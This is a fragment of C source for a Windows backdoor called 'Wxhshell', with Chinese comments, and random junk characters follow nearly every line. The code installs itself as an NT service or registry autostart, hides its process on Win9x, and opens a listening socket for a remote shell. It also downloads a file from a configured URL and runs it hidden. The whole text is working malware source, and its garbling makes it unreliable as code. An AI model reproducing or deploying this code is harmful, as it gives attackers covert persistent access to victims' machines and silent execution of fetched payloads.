} PROCESS_BASIC_INFORMATION; c`WHNky%j
(v|}\?L
PROCNTQSIP NtQueryInformationProcess; WxJf{=-
2KN6}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ozg_E
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?a8(azn
z$GoaS(
HANDLE hProcess; @`Eg(
PROCESS_BASIC_INFORMATION pbi; XC "'Q+
.YnFH$;$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [],1lRYI9_
if(NULL == hInst ) return 0; 13%t"-@bh
^;maotHn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MpqZH{:?G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CI
:`<PZ\-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t" 7yNs(I
;VNMD 6H
if (!NtQueryInformationProcess) return 0; OhmQ,
oY|,GvCnK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f7~9|w&
if(!hProcess) return 0; s^|.Zr;,>
^Q ps>A(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cc<,z*T
f1)x5N
CloseHandle(hProcess); V$icWu
D8nD/||;Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5qkH|*Z3
if(hProcess==NULL) return 0; jfx8EbQ
g'u?Rn7*J
HMODULE hMod; {W~q
z^>u4
char procName[255]; pM&YXb?
unsigned long cbNeeded; V8wKAj
Ux
jhX[fT1m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @81Vc<dJ
>'xGp7}y
CloseHandle(hProcess); p=B>~CH
@]c(V%x
if(strstr(procName,"services")) return 1; // 以服务启动 hj$e|arB
8kOKwEX
return 0; // 注册表启动 N2$I}q%
} c$`4*6
7,MS '2nz
// 主模块 0lsXCr_X
int StartWxhshell(LPSTR lpCmdLine) V0(o~w/W%!
{ z%7SrUj2
SOCKET wsl; rVa?JvDO=
BOOL val=TRUE; 6ubL1K
int port=0; fr}Eaa-{^
struct sockaddr_in door; X _G| hx
>'5_Y]h4m|
if(wscfg.ws_autoins) Install(); |*X*n*oI
K+)%KP
port=atoi(lpCmdLine); +"}=d3E6
q4$+H{xB
if(port<=0) port=wscfg.ws_port; F3lw@b3])
9F-
)r'
WSADATA data; 9W>Y#V~|v!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G"59cv8z4R
KkMay
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CBKkBuKuk
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (ihP`k-.
door.sin_family = AF_INET; H:JLAK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W85@v2b
door.sin_port = htons(port); Dbaf0
w[-Fm+A>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e{9jn>\,a
closesocket(wsl); j ! NO|&k
return 1; {"H2 :-t<
} 1?Aga,~k:a
ph|ZG6:
if(listen(wsl,2) == INVALID_SOCKET) { Ei3zBS?J)
closesocket(wsl); $]&(7@'qo
return 1; NLe}Jqp
} %=<IGce
Wxhshell(wsl); q*AQq=
WSACleanup(); MfBdNdox7
gbSt Ar.
return 0; asgF1?r
FNQX7O52
} 's!-80sd
ExXM:1 e26
// 以NT服务方式启动 _uu<4c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RF!1oZ
{ :9Y$'+ <&H
DWORD status = 0; %_aMl
DWORD specificError = 0xfffffff; w$5A|%Y+V}
R,!Q
Zxmg
serviceStatus.dwServiceType = SERVICE_WIN32; daAyx-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; TfZ6F8|B
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MZSxQ8
serviceStatus.dwWin32ExitCode = 0; JH]K/sC>
serviceStatus.dwServiceSpecificExitCode = 0; |m?vVLq
serviceStatus.dwCheckPoint = 0; 2~p[7?sp'
serviceStatus.dwWaitHint = 0; }5O>EXE0R
"?GebA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZDYJhJ.
if (hServiceStatusHandle==0) return; Zz |MIGHm
0ZPV'`KGp
status = GetLastError(); 9kY[j2,+
if (status!=NO_ERROR) 8g7,2f/ }
{ hsG#6?l3
serviceStatus.dwCurrentState = SERVICE_STOPPED; rt +..t\
serviceStatus.dwCheckPoint = 0; do>"[RO
serviceStatus.dwWaitHint = 0; ?68uS;
serviceStatus.dwWin32ExitCode = status; :Ze+%d=
serviceStatus.dwServiceSpecificExitCode = specificError; QldzQ%4c\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d(*fy}
return; W {.78Zi9K
} td -3h,\\
? {F{;r
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6vf\R*D|A
serviceStatus.dwCheckPoint = 0; i"^<CR@e
serviceStatus.dwWaitHint = 0; ;;gK@?hJ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c| '
w
} \Z-2leL)j
:H[\;Z1_
// 处理NT服务事件,比如:启动、停止 2$zU&p7sV
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q\J,}1<`6
{ }yEoEI`
switch(fdwControl) w.+Eyu_I\
{ :Px\qh}K
case SERVICE_CONTROL_STOP:
oeL5}U6>g
serviceStatus.dwWin32ExitCode = 0; w3D]~&]
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6=PiVwI
serviceStatus.dwCheckPoint = 0; 4DO/rtkVq
serviceStatus.dwWaitHint = 0; VAYb=4lt
{ #G,XDW2"w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xwzT#DXGJ
} Rh] P8
return; {R&ZqEo'D
case SERVICE_CONTROL_PAUSE: re,.@${H
serviceStatus.dwCurrentState = SERVICE_PAUSED; a%J6f$A#
break; vU/ D7
case SERVICE_CONTROL_CONTINUE: qG>DTKIU
serviceStatus.dwCurrentState = SERVICE_RUNNING; I8op>^N"
break; C@HD(..#
case SERVICE_CONTROL_INTERROGATE: c8QnN:n
break; -Ubj6 t_K
}; .1*DR]^`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #DP7SO
} 2Q$\KRE
GG'Sp53GE
// 标准应用程序主函数 7-9;PkGG.A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =!-5+I#e
{ ^4`&EF
_&
4its
// 获取操作系统版本 +~|AT+|iI
OsIsNt=GetOsVer(); H^CilwD158
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~' =lou
}w!ps{*
// 从命令行安装 ":d*dl
if(strpbrk(lpCmdLine,"iI")) Install(); jgvh[@uB?
:?r*p>0$
// 下载执行文件 A1,4kqmE
if(wscfg.ws_downexe) { B$`lYDqaG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gf$HuCh|
WinExec(wscfg.ws_filenam,SW_HIDE); +>3]%i-\
} It
2UfW
qZG-Lh
if(!OsIsNt) { ,p,Du
F
// 如果时win9x,隐藏进程并且设置为注册表启动 U=o Z.\
HideProc(); cq^sq1A:
StartWxhshell(lpCmdLine); wt7.oKbW
} Xn7[n
else 12r` )
if(StartFromService()) 4NVgOr:
// 以服务方式启动 &?$\Y,{
StartServiceCtrlDispatcher(DispatchTable); q?VVYZXP
else ":&|[9/
// 普通方式启动 &9kiO
StartWxhshell(lpCmdLine); *=^[VV!
oa9)Dv
return 0; YbvX$/zGu
}